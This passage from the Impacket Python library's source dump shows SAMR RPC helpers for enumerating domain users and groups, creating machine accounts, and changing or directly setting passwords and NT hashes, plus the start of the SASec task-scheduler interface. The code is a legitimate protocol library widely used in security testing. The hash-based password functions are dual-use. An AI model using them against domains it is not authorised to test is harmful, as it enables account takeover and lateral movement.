('OutputArg',PSAM_VALIDATE_OUTPUT_ARG),\n       ('ErrorCode',ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (SamrConnect, SamrConnectResponse),\n 1 : (SamrCloseHandle, SamrCloseHandleResponse),\n 2 : (SamrSetSecurityObject, SamrSetSecurityObjectResponse),\n 3 : (SamrQuerySecurityObject, SamrQuerySecurityObjectResponse),\n 5 : (SamrLookupDomainInSamServer, SamrLookupDomainInSamServerResponse),\n 6 : (SamrEnumerateDomainsInSamServer, SamrEnumerateDomainsInSamServerResponse),\n 7 : (SamrOpenDomain, SamrOpenDomainResponse),\n 8 : (SamrQueryInformationDomain, SamrQueryInformationDomainResponse),\n 9 : (SamrSetInformationDomain, SamrSetInformationDomainResponse),\n10 : (SamrCreateGroupInDomain, SamrCreateGroupInDomainResponse),\n11 : (SamrEnumerateGroupsInDomain, SamrEnumerateGroupsInDomainResponse),\n12 : (SamrCreateUserInDomain, SamrCreateUserInDomainResponse),\n13 : (SamrEnumerateUsersInDomain, SamrEnumerateUsersInDomainResponse),\n14 : (SamrCreateAliasInDomain, SamrCreateAliasInDomainResponse),\n15 : (SamrEnumerateAliasesInDomain, SamrEnumerateAliasesInDomainResponse),\n16 : (SamrGetAliasMembership, SamrGetAliasMembershipResponse),\n17 : (SamrLookupNamesInDomain, SamrLookupNamesInDomainResponse),\n18 : (SamrLookupIdsInDomain, SamrLookupIdsInDomainResponse),\n19 : (SamrOpenGroup, SamrOpenGroupResponse),\n20 : (SamrQueryInformationGroup, SamrQueryInformationGroupResponse),\n21 : (SamrSetInformationGroup, SamrSetInformationGroupResponse),\n22 : (SamrAddMemberToGroup, SamrAddMemberToGroupResponse),\n23 : (SamrDeleteGroup, SamrDeleteGroupResponse),\n24 : (SamrRemoveMemberFromGroup, SamrRemoveMemberFromGroupResponse),\n25 : (SamrGetMembersInGroup, SamrGetMembersInGroupResponse),\n26 : (SamrSetMemberAttributesOfGroup, SamrSetMemberAttributesOfGroupResponse),\n27 : (SamrOpenAlias, SamrOpenAliasResponse),\n28 : (SamrQueryInformationAlias, SamrQueryInformationAliasResponse),\n29 : (SamrSetInformationAlias, SamrSetInformationAliasResponse),\n30 : (SamrDeleteAlias, SamrDeleteAliasResponse),\n31 : (SamrAddMemberToAlias, SamrAddMemberToAliasResponse),\n32 : (SamrRemoveMemberFromAlias, SamrRemoveMemberFromAliasResponse),\n33 : (SamrGetMembersInAlias, SamrGetMembersInAliasResponse),\n34 : (SamrOpenUser, SamrOpenUserResponse),\n35 : (SamrDeleteUser, SamrDeleteUserResponse),\n36 : (SamrQueryInformationUser, SamrQueryInformationUserResponse),\n37 : (SamrSetInformationUser, SamrSetInformationUserResponse),\n38 : (SamrChangePasswordUser, SamrChangePasswordUserResponse),\n39 : (SamrGetGroupsForUser, SamrGetGroupsForUserResponse),\n40 : (SamrQueryDisplayInformation, SamrQueryDisplayInformationResponse),\n41 : (SamrGetDisplayEnumerationIndex, SamrGetDisplayEnumerationIndexResponse),\n44 : (SamrGetUserDomainPasswordInformation, SamrGetUserDomainPasswordInformationResponse),\n45 : (SamrRemoveMemberFromForeignDomain, SamrRemoveMemberFromForeignDomainResponse),\n46 : (SamrQueryInformationDomain2, SamrQueryInformationDomain2Response),\n47 : (SamrQueryInformationUser2, SamrQueryInformationUser2Response),\n48 : (SamrQueryDisplayInformation2, SamrQueryDisplayInformation2Response),\n49 : (SamrGetDisplayEnumerationIndex2, SamrGetDisplayEnumerationIndex2Response),\n50 : (SamrCreateUser2InDomain, SamrCreateUser2InDomainResponse),\n51 : (SamrQueryDisplayInformation3, SamrQueryDisplayInformation3Response),\n52 : (SamrAddMultipleMembersToAlias, SamrAddMultipleMembersToAliasResponse),\n53 : (SamrRemoveMultipleMembersFromAlias, SamrRemoveMultipleMembersFromAliasResponse),\n54 : (SamrOemChangePasswordUser2, SamrOemChangePasswordUser2Response),\n55 : (SamrUnicodeChangePasswordUser2, SamrUnicodeChangePasswordUser2Response),\n56 : (SamrGetDomainPasswordInformation, SamrGetDomainPasswordInformationResponse),\n57 : (SamrConnect2, SamrConnect2Response),\n58 : (SamrSetInformationUser2, SamrSetInformationUser2Response),\n62 : (SamrConnect4, SamrConnect4Response),\n64 : (SamrConnect5, SamrConnect5Response),\n65 : (SamrRidToSid, SamrRidToSidResponse),\n66 : (SamrSetDSRMPassword, SamrSetDSRMPasswordResponse),\n67 : (SamrValidatePassword, SamrValidatePasswordResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\ndef hSamrConnect5(dce, serverName='\\x00', desiredAccess=MAXIMUM_ALLOWED, inVersion=1, revision=3):\n    request = SamrConnect5()\n    request['ServerName'] = serverName\n    request['DesiredAccess'] = desiredAccess\n    request['InVersion'] = inVersion\n    request['InRevisionInfo']['tag'] = inVersion\n    request['InRevisionInfo']['V1']['Revision'] = revision\n    return dce.request(request)\n\ndef hSamrConnect4(dce, serverName='\\x00', desiredAccess=MAXIMUM_ALLOWED, clientRevision=2):\n    request = SamrConnect4()\n    request['ServerName'] = serverName\n    request['DesiredAccess'] = desiredAccess\n    request['ClientRevision'] = clientRevision\n    return dce.request(request)\n\ndef hSamrConnect2(dce, serverName='\\x00', desiredAccess=MAXIMUM_ALLOWED):\n    request = SamrConnect2()\n    request['ServerName'] = serverName\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hSamrConnect(dce, serverName='\\x00', desiredAccess=MAXIMUM_ALLOWED):\n    request = SamrConnect()\n    request['ServerName'] = serverName\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hSamrOpenDomain(dce, serverHandle, desiredAccess=MAXIMUM_ALLOWED, domainId=NULL):\n    request = SamrOpenDomain()\n    request['ServerHandle'] = serverHandle\n    request['DesiredAccess'] = desiredAccess\n    request['DomainId'] = domainId\n    return dce.request(request)\n\ndef hSamrOpenGroup(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, groupId=0):\n    request = SamrOpenGroup()\n    request['DomainHandle'] = domainHandle\n    request['DesiredAccess'] = desiredAccess\n    request['GroupId'] = groupId\n    return dce.request(request)\n\ndef hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=0):\n    request = SamrOpenAlias()\n    request['DomainHandle'] = domainHandle\n    request['DesiredAccess'] = desiredAccess\n    request['AliasId'] = aliasId\n    return dce.request(request)\n\ndef hSamrOpenUser(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, userId=0):\n    request = SamrOpenUser()\n    request['DomainHandle'] = domainHandle\n    request['DesiredAccess'] = desiredAccess\n    request['UserId'] = userId\n    return dce.request(request)\n\ndef hSamrEnumerateDomainsInSamServer(dce, serverHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):\n    request = SamrEnumerateDomainsInSamServer()\n    request['ServerHandle'] = serverHandle\n    request['EnumerationContext'] = enumerationContext\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hSamrEnumerateGroupsInDomain(dce, domainHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):\n    request = SamrEnumerateGroupsInDomain()\n    request['DomainHandle'] = domainHandle\n    request['EnumerationContext'] = enumerationContext\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hSamrEnumerateAliasesInDomain(dce, domainHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):\n    request = SamrEnumerateAliasesInDomain()\n    request['DomainHandle'] = domainHandle\n    request['EnumerationContext'] = enumerationContext\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hSamrEnumerateUsersInDomain(dce, domainHandle, userAccountControl=USER_NORMAL_ACCOUNT, enumerationContext=0, preferedMaximumLength=0xffffffff):\n    request = SamrEnumerateUsersInDomain()\n    request['DomainHandle'] = domainHandle\n    request['UserAccountControl'] = userAccountControl\n    request['EnumerationContext'] = enumerationContext\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hSamrQueryDisplayInformation3(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, index=0, entryCount=0xffffffff, preferedMaximumLength=0xffffffff):\n    request = SamrQueryDisplayInformation3()\n    request['DomainHandle'] = domainHandle\n    request['DisplayInformationClass'] = displayInformationClass\n    request['Index'] = index\n    request['EntryCount'] = entryCount\n    request['PreferredMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hSamrQueryDisplayInformation2(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, index=0, entryCount=0xffffffff, preferedMaximumLength=0xffffffff):\n    request = SamrQueryDisplayInformation2()\n    request['DomainHandle'] = domainHandle\n    request['DisplayInformationClass'] = displayInformationClass\n    request['Index'] = index\n    request['EntryCount'] = entryCount\n    request['PreferredMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hSamrQueryDisplayInformation(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, index=0, entryCount=0xffffffff, preferedMaximumLength=0xffffffff):\n    request = SamrQueryDisplayInformation()\n    request['DomainHandle'] = domainHandle\n    request['DisplayInformationClass'] = displayInformationClass\n    request['Index'] = index\n    request['EntryCount'] = entryCount\n    request['PreferredMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hSamrGetDisplayEnumerationIndex2(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, prefix=''):\n    request = SamrGetDisplayEnumerationIndex2()\n    request['DomainHandle'] = domainHandle\n    request['DisplayInformationClass'] = displayInformationClass\n    request['Prefix'] = prefix\n    return dce.request(request)\n\ndef hSamrGetDisplayEnumerationIndex(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, prefix=''):\n    request = SamrGetDisplayEnumerationIndex()\n    request['DomainHandle'] = domainHandle\n    request['DisplayInformationClass'] = displayInformationClass\n    request['Prefix'] = prefix\n    return dce.request(request)\n\ndef hSamrCreateGroupInDomain(dce, domainHandle, name, desiredAccess=GROUP_ALL_ACCESS):\n    request = SamrCreateGroupInDomain()\n    request['DomainHandle'] = domainHandle\n    request['Name'] = name\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hSamrCreateAliasInDomain(dce, domainHandle, accountName, desiredAccess=GROUP_ALL_ACCESS):\n    request = SamrCreateAliasInDomain()\n    request['DomainHandle'] = domainHandle\n    request['AccountName'] = accountName\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hSamrCreateUser2InDomain(dce, domainHandle, name, accountType=USER_NORMAL_ACCOUNT, desiredAccess=GROUP_ALL_ACCESS):\n    request = SamrCreateUser2InDomain()\n    request['DomainHandle'] = domainHandle\n    request['Name'] = name\n    request['AccountType'] = accountType\n    request['DesiredAccess'] = desiredAccess\n    try:\n        return dce.request(request)\n    except DCERPCSessionError as e:\n        if e.error_code == 0xc0000022:\n            raise Exception(\"Authenticating account doesn't have the right to create a new machine account!\")\n        elif e.error_code == 0xc00002e7:\n            raise Exception(\"Authenticating account's machine account quota exceeded!\")\n        elif e.error_code == 0xc0000062:\n            raise Exception(\"Account name not accepted, maybe the '$' at the end is missing?\")\n        else:\n            raise e\n\n\ndef hSamrCreateUserInDomain(dce, domainHandle, name, desiredAccess=GROUP_ALL_ACCESS):\n    request = SamrCreateUserInDomain()\n    request['DomainHandle'] = domainHandle\n    request['Name'] = name\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hSamrQueryInformationDomain(dce, domainHandle, domainInformationClass=DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2):\n    request = SamrQueryInformationDomain()\n    request['DomainHandle'] = domainHandle\n    request['DomainInformationClass'] = domainInformationClass\n    return dce.request(request)\n\ndef hSamrQueryInformationDomain2(dce, domainHandle, domainInformationClass=DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2):\n    request = SamrQueryInformationDomain2()\n    request['DomainHandle'] = domainHandle\n    request['DomainInformationClass'] = domainInformationClass\n    return dce.request(request)\n\ndef hSamrQueryInformationGroup(dce, groupHandle, groupInformationClass=GROUP_INFORMATION_CLASS.GroupGeneralInformation):\n    request = SamrQueryInformationGroup()\n    request['GroupHandle'] = groupHandle\n    request['GroupInformationClass'] = groupInformationClass\n    return dce.request(request)\n\ndef hSamrQueryInformationAlias(dce, aliasHandle, aliasInformationClass=ALIAS_INFORMATION_CLASS.AliasGeneralInformation):\n    request = SamrQueryInformationAlias()\n    request['AliasHandle'] = aliasHandle\n    request['AliasInformationClass'] = aliasInformationClass\n    return dce.request(request)\n\ndef hSamrQueryInformationUser2(dce, userHandle, userInformationClass=USER_INFORMATION_CLASS.UserGeneralInformation):\n    request = SamrQueryInformationUser2()\n    request['UserHandle'] = userHandle\n    request['UserInformationClass'] = userInformationClass\n    return dce.request(request)\n\ndef hSamrQueryInformationUser(dce, userHandle, userInformationClass=USER_INFORMATION_CLASS.UserGeneralInformation):\n    request = SamrQueryInformationUser()\n    request['UserHandle'] = userHandle\n    request['UserInformationClass'] = userInformationClass\n    return dce.request(request)\n\ndef hSamrSetInformationDomain(dce, domainHandle, domainInformation):\n    request = SamrSetInformationDomain()\n    request['DomainHandle'] = domainHandle\n    request['DomainInformationClass'] = domainInformation['tag']\n    request['DomainInformation'] = domainInformation\n    return dce.request(request)\n\ndef hSamrSetInformationGroup(dce, groupHandle, buffer):\n    request = SamrSetInformationGroup()\n    request['GroupHandle'] = groupHandle\n    request['GroupInformationClass'] = buffer['tag']\n    request['Buffer'] = buffer\n    return dce.request(request)\n\ndef hSamrSetInformationAlias(dce, aliasHandle, buffer):\n    request = SamrSetInformationAlias()\n    request['AliasHandle'] = aliasHandle\n    request['AliasInformationClass'] = buffer['tag']\n    request['Buffer'] = buffer\n    return dce.request(request)\n\ndef hSamrSetInformationUser2(dce, userHandle, buffer):\n    request = SamrSetInformationUser2()\n    request['UserHandle'] = userHandle\n    request['UserInformationClass'] = buffer['tag']\n    request['Buffer'] = buffer\n    return dce.request(request)\n\ndef hSamrSetInformationUser(dce, userHandle, buffer):\n    request = SamrSetInformationUser()\n    request['UserHandle'] = userHandle\n    request['UserInformationClass'] = buffer['tag']\n    request['Buffer'] = buffer\n    return dce.request(request)\n\ndef hSamrDeleteGroup(dce, groupHandle):\n    request = SamrDeleteGroup()\n    request['GroupHandle'] = groupHandle\n    return dce.request(request)\n\ndef hSamrDeleteAlias(dce, aliasHandle):\n    request = SamrDeleteAlias()\n    request['AliasHandle'] = aliasHandle\n    return dce.request(request)\n\ndef hSamrDeleteUser(dce, userHandle):\n    request = SamrDeleteUser()\n    request['UserHandle'] = userHandle\n    return dce.request(request)\n\ndef hSamrAddMemberToGroup(dce, groupHandle, memberId, attributes):\n    request = SamrAddMemberToGroup()\n    request['GroupHandle'] = groupHandle\n    request['MemberId'] = memberId\n    request['Attributes'] = attributes\n    return dce.request(request)\n\ndef hSamrRemoveMemberFromGroup(dce, groupHandle, memberId):\n    request = SamrRemoveMemberFromGroup()\n    request['GroupHandle'] = groupHandle\n    request['MemberId'] = memberId\n    return dce.request(request)\n\ndef hSamrGetMembersInGroup(dce, groupHandle):\n    request = SamrGetMembersInGroup()\n    request['GroupHandle'] = groupHandle\n    return dce.request(request)\n\ndef hSamrAddMemberToAlias(dce, aliasHandle, memberId):\n    request = SamrAddMemberToAlias()\n    request['AliasHandle'] = aliasHandle\n    request['MemberId'] = memberId\n    return dce.request(request)\n\ndef hSamrRemoveMemberFromAlias(dce, aliasHandle, memberId):\n    request = SamrRemoveMemberFromAlias()\n    request['AliasHandle'] = aliasHandle\n    request['MemberId'] = memberId\n    return dce.request(request)\n\ndef hSamrGetMembersInAlias(dce, aliasHandle):\n    request = SamrGetMembersInAlias()\n    request['AliasHandle'] = aliasHandle\n    return dce.request(request)\n\ndef hSamrRemoveMemberFromForeignDomain(dce, domainHandle, memberSid):\n    request = SamrRemoveMemberFromForeignDomain()\n    request['DomainHandle'] = domainHandle\n    request['MemberSid'] = memberSid\n    return dce.request(request)\n\ndef hSamrAddMultipleMembersToAlias(dce, aliasHandle, membersBuffer):\n    request = SamrAddMultipleMembersToAlias()\n    request['AliasHandle'] = aliasHandle\n    request['MembersBuffer'] = membersBuffer\n    request['MembersBuffer']['Count'] = len(membersBuffer['Sids'])\n    return dce.request(request)\n\ndef hSamrRemoveMultipleMembersFromAlias(dce, aliasHandle, membersBuffer):\n    request = SamrRemoveMultipleMembersFromAlias()\n    request['AliasHandle'] = aliasHandle\n    request['MembersBuffer'] = membersBuffer\n    request['MembersBuffer']['Count'] = len(membersBuffer['Sids'])\n    return dce.request(request)\n\ndef hSamrGetGroupsForUser(dce, userHandle):\n    request = SamrGetGroupsForUser()\n    request['UserHandle'] = userHandle\n    return dce.request(request)\n\ndef hSamrGetAliasMembership(dce, domainHandle, sidArray):\n    request = SamrGetAliasMembership()\n    request['DomainHandle'] = domainHandle\n    request['SidArray'] = sidArray\n    request['SidArray']['Count'] = len(sidArray['Sids'])\n    return dce.request(request)\n\ndef hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword, oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''):\n    request = SamrChangePasswordUser()\n    request['UserHandle'] = userHandle\n\n    from impacket import crypto, ntlm\n\n    if oldPwdHashNT == '':\n        oldPwdHashNT = ntlm.NTOWFv1(oldPassword)\n    else:\n        # Let's convert the hashes to binary form, if not yet\n        try:\n            oldPwdHashNT = unhexlify(oldPwdHashNT)\n        except:\n            pass\n\n    if newPwdHashLM == '':\n        newPwdHashLM = ntlm.LMOWFv1(newPassword)\n    else:\n        # Let's convert the hashes to binary form, if not yet\n        try:\n            newPwdHashLM = unhexlify(newPwdHashLM)\n        except:\n            pass\n\n    if newPwdHashNT == '':\n        newPwdHashNT = ntlm.NTOWFv1(newPassword)\n    else:\n        # Let's convert the hashes to binary form, if not yet\n        try:\n            newPwdHashNT = unhexlify(newPwdHashNT)\n        except:\n            pass\n\n    request['LmPresent'] = 0\n    request['OldLmEncryptedWithNewLm'] = NULL\n    request['NewLmEncryptedWithOldLm'] = NULL\n    request['NtPresent'] = 1\n    request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)\n    request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT)\n    request['NtCrossEncryptionPresent'] = 0\n    request['NewNtEncryptedWithNewLm'] = NULL\n    request['LmCrossEncryptionPresent'] = 1\n    request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)\n\n    return dce.request(request)\n\ndef hSamrUnicodeChangePasswordUser2(dce, serverName='\\x00', userName='', oldPassword='', newPassword='', oldPwdHashLM = '', oldPwdHashNT = ''):\n    request = SamrUnicodeChangePasswordUser2()\n    request['ServerName'] = serverName\n    request['UserName'] = userName\n\n    try:\n        from Cryptodome.Cipher import ARC4\n    except Exception:\n        LOG.critical(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n        LOG.critical(\"See https://pypi.org/project/pycryptodomex/\")\n    from impacket import crypto, ntlm\n\n    if oldPwdHashLM == '' and oldPwdHashNT == '':\n        oldPwdHashLM = ntlm.LMOWFv1(oldPassword)\n        oldPwdHashNT = ntlm.NTOWFv1(oldPassword)\n    else:\n        # Let's convert the hashes to binary form, if not yet\n        try:\n            oldPwdHashLM = unhexlify(oldPwdHashLM)\n        except:\n            pass\n        try:\n            oldPwdHashNT = unhexlify(oldPwdHashNT)\n        except:\n            pass\n\n    newPwdHashNT = ntlm.NTOWFv1(newPassword)\n\n    samUser = SAMPR_USER_PASSWORD()\n    try:\n        encoded_password = newPassword.encode('utf-16le')\n    except UnicodeDecodeError:\n        import sys\n        encoded_password = newPassword.decode(sys.getfilesystemencoding()).encode('utf-16le')\n\n    samUser['Buffer'] = b'A' * (512 - len(encoded_password)) + encoded_password\n\n    samUser['Length'] = len(encoded_password)\n    pwdBuff = samUser.getData()\n\n    rc4 = ARC4.new(oldPwdHashNT)\n    encBuf = rc4.encrypt(pwdBuff)\n    request['NewPasswordEncryptedWithOldNt']['Buffer'] = encBuf\n    request['OldNtOwfPasswordEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)\n    request['LmPresent'] = 0\n    request['NewPasswordEncryptedWithOldLm'] = NULL\n    request['OldLmOwfPasswordEncryptedWithNewNt'] = NULL\n\n    return dce.request(request)\n\ndef hSamrLookupDomainInSamServer(dce, serverHandle, name):\n    request = SamrLookupDomainInSamServer()\n    request['ServerHandle'] = serverHandle\n    request['Name'] = name\n    return dce.request(request)\n\ndef hSamrSetSecurityObject(dce, objectHandle, securityInformation, securityDescriptor):\n    request = SamrSetSecurityObject()\n    request['ObjectHandle'] =  objectHandle\n    request['SecurityInformation'] =  securityInformation\n    request['SecurityDescriptor'] = securityDescriptor\n    return dce.request(request)\n\ndef hSamrQuerySecurityObject(dce, objectHandle, securityInformation):\n    request = SamrQuerySecurityObject()\n    request['ObjectHandle'] =  objectHandle\n    request['SecurityInformation'] =  securityInformation\n    return dce.request(request)\n\ndef hSamrCloseHandle(dce, samHandle):\n    request = SamrCloseHandle()\n    request['SamHandle'] =  samHandle\n    return dce.request(request)\n\ndef hSamrSetMemberAttributesOfGroup(dce, groupHandle, memberId, attributes):\n    request = SamrSetMemberAttributesOfGroup()\n    request['GroupHandle'] =  groupHandle\n    request['MemberId'] =  memberId\n    request['Attributes'] =  attributes\n    return dce.request(request)\n\ndef hSamrGetUserDomainPasswordInformation(dce, userHandle):\n    request = SamrGetUserDomainPasswordInformation()\n    request['UserHandle'] =  userHandle\n    return dce.request(request)\n\ndef hSamrGetDomainPasswordInformation(dce):\n    request = SamrGetDomainPasswordInformation()\n    request['Unused'] =  NULL\n    return dce.request(request)\n\ndef hSamrRidToSid(dce, objectHandle, rid):\n    request = SamrRidToSid()\n    request['ObjectHandle'] = objectHandle\n    request['Rid'] =  rid\n    return dce.request(request)\n\ndef hSamrValidatePassword(dce, inputArg):\n    request = SamrValidatePassword()\n    request['ValidationType'] =  inputArg['tag']\n    request['InputArg'] = inputArg\n    return dce.request(request)\n\ndef hSamrLookupNamesInDomain(dce, domainHandle, names):\n    request = SamrLookupNamesInDomain()\n    request['DomainHandle'] =  domainHandle\n    request['Count'] = len(names)\n    for name in names:\n        entry = RPC_UNICODE_STRING()\n        entry['Data'] = name\n        request['Names'].append(entry)\n\n    request.fields['Names'].fields['MaximumCount'] = 1000\n\n    return dce.request(request)\n\ndef hSamrLookupIdsInDomain(dce, domainHandle, ids):\n    request = SamrLookupIdsInDomain()\n    request['DomainHandle'] =  domainHandle\n    request['Count'] = len(ids)\n    for dId in ids:\n        entry = ULONG()\n        entry['Data'] = dId\n        request['RelativeIds'].append(entry)\n\n    request.fields['RelativeIds'].fields['MaximumCount'] = 1000\n\n    return dce.request(request)\n\ndef hSamrSetPasswordInternal4New(dce, userHandle, password):\n    request = SamrSetInformationUser2()\n    request['UserHandle'] = userHandle\n    request['UserInformationClass'] = USER_INFORMATION_CLASS.UserInternal4InformationNew\n    request['Buffer']['tag'] = USER_INFORMATION_CLASS.UserInternal4InformationNew\n    request['Buffer']['Internal4New']['I1']['WhichFields'] = 0x01000000 | 0x08000000\n\n    request['Buffer']['Internal4New']['I1']['UserName'] = NULL\n    request['Buffer']['Internal4New']['I1']['FullName'] = NULL\n    request['Buffer']['Internal4New']['I1']['HomeDirectory'] = NULL\n    request['Buffer']['Internal4New']['I1']['HomeDirectoryDrive'] = NULL\n    request['Buffer']['Internal4New']['I1']['ScriptPath'] = NULL\n    request['Buffer']['Internal4New']['I1']['ProfilePath'] = NULL\n    request['Buffer']['Internal4New']['I1']['AdminComment'] = NULL\n    request['Buffer']['Internal4New']['I1']['WorkStations'] = NULL\n    request['Buffer']['Internal4New']['I1']['UserComment'] = NULL\n    request['Buffer']['Internal4New']['I1']['Parameters'] = NULL\n    request['Buffer']['Internal4New']['I1']['LmOwfPassword']['Buffer'] = NULL\n    request['Buffer']['Internal4New']['I1']['NtOwfPassword']['Buffer'] = NULL\n    request['Buffer']['Internal4New']['I1']['PrivateData'] = NULL\n    request['Buffer']['Internal4New']['I1']['SecurityDescriptor']['SecurityDescriptor'] = NULL\n    request['Buffer']['Internal4New']['I1']['LogonHours']['LogonHours'] = NULL\n    request['Buffer']['Internal4New']['I1']['PasswordExpired'] = 1\n\n    #crypto\n    pwdbuff = password.encode(\"utf-16le\")\n    bufflen = len(pwdbuff)\n    pwdbuff = pwdbuff.rjust(512, b'\\0')\n    pwdbuff += struct.pack('<I', bufflen)\n    salt = os.urandom(16)\n    session_key = dce.get_rpc_transport().get_smb_connection().getSessionKey()\n    keymd = md5()\n    keymd.update(salt)\n    keymd.update(session_key)\n    key = keymd.digest()\n\n    cipher = ARC4.new(key)\n    buffercrypt = cipher.encrypt(pwdbuff) + salt\n\n    request['Buffer']['Internal4New']['UserPassword']['Buffer'] = buffercrypt\n    return dce.request(request)\n\ndef hSamrSetNTInternal1(dce, userHandle, password, hashNT=''):\n    request = SamrSetInformationUser()\n    request['UserHandle'] = userHandle\n    request['UserInformationClass'] = USER_INFORMATION_CLASS.UserInternal1Information\n    request['Buffer']['tag'] = USER_INFORMATION_CLASS.UserInternal1Information\n\n    from impacket import crypto, ntlm\n\n    if hashNT == '':\n        hashNT = ntlm.NTOWFv1(password)\n    else:\n        # Let's convert the hashes to binary form, if not yet\n        try:\n            hashNT = unhexlify(hashNT)\n        except:\n            pass\n\n    session_key = dce.get_rpc_transport().get_smb_connection().getSessionKey()\n\n    request['Buffer']['Internal1']['EncryptedNtOwfPassword'] = crypto.SamEncryptNTLMHash(hashNT, session_key)\n    request['Buffer']['Internal1']['EncryptedLmOwfPassword'] = NULL\n    request['Buffer']['Internal1']['NtPasswordPresent'] = 1\n    request['Buffer']['Internal1']['LmPasswordPresent'] = 0\n\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/sasec.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-TSCH] SASec Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL\nfrom impacket import hresult_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nMSRPC_UUID_SASEC  = uuidtup_to_bin(('378E52B0-C0A9-11CF-822D-00AA0051E40F','1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\nSASEC_HANDLE = WSTR\nPSASEC_HANDLE = LPWSTR\n\nMAX_BUFFER_SIZE = 273\n\n# 3.2.5.3.4 SASetAccountInformation (Opnum 0)\nTASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x40000\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass WORD_ARRAY(NDRUniConformantArray):\n    item = '<H'\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.2.5.3.4 SASetAccountInformation (Opnum 0)\nclass SASetAccountInformation(NDRCALL):\n    opnum = 0\n    structure = (\n        ('Handle', PSASEC_HANDLE),\n        ('pwszJobName', WSTR),\n        ('pwszAccount', WSTR),\n        ('pwszPassword', LPWSTR),\n        ('dwJobFlags', DWORD),\n    )\n\nclass SASetAccountInformationResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.3.5 SASetNSAccountInformation (Opnum 1)\nclass SASetNSAccountInformation(NDRCALL):\n    opnum = 1\n    structure = (\n        ('Handle', PSASEC_HANDLE),\n        ('pwszAccount', LPWSTR),\n        ('pwszPassword', LPWSTR),\n    )\n\nclass SASetNSAccountInformationResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.3.6 SAGetNSAccountInformation (Opnum 2)\nclass SAGetNSAccountInformation(NDRCALL):\n    opnum = 2\n    structure = (\n        ('Handle', PSASEC_HANDLE),\n        ('ccBufferSize', DWORD),\n        ('wszBuffer', WORD_ARRAY),\n    )\n\nclass SAGetNSAccountInformationResponse(NDRCALL):\n    structure = (\n        ('wszBuffer',WORD_ARRAY),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.3.7 SAGetAccountInformation (Opnum 3)\nclass SAGetAccountInformation(NDRCALL):\n    opnum = 